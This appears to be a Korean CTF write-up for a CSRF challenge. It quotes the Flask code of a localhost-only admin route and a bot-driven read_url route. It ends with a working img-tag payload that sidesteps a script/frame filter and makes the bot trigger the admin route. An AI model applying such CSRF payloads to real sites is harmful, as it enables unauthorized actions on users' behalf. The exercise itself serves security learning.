@app.route('/admin/notice_flag')
def admin_notice_flag():
global memo_text
if request.remote_addr != '127.0.0.1':
return 'Access Denied'
if request.args.get('userid', '') != 'admin':
return 'Your not admin'
memo_text += f'[Notice] flag is {FLAG}\n'
return 'Ok'
해당 페이지 코드를 보니 고려해야 할 if 문이 두 개나 있다.
① request.remote_addr != '127.0.0.1' : 접속한(클라이언트의) IP 주소가 127.0.0.1이 아니라면~
② request.args.get('userid',' ') != 'admin' : userid에 해당하는 값이 admin이 아니라면~
접속한 IP 주소가 127.0.0.1이 아니었기 때문에 Access Denied가 뜬 것이다.
그렇다면 접속 IP주소를 127.0.0.1로, userid 값을 admin으로 설정해준다면
global 변수인 memo_text에 flag 값이 들어가 memo 페이지에 써져 있을 것이라고 생각했다.
그림 5 flag 페이지
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if request.method == 'GET':
return render_template('flag.html')
elif request.method == 'POST':
csrf = request.form.get('csrf', '')
if not read_url(csrf):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
그림 6 app.py 일부. read_url( )
flag 페이지에선 'csrf'의 값을 알아낸 후 read_url() 함수에 넣어 실행시키고 있다.
마지막 부분인
driver.get(f'http://127.0.0.1:8000/csrf?csrf={urllib.parse.quote(url)}') 에 의해 해당 페이지가 불러와지므로
csrf 페이지 내에서 공격을 하기로 했다.
csrf 페이지에서 공격할 때 frame, script, on 태그는 사용하지 못하므로
img 태그를 사용했다.
<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin"> 입력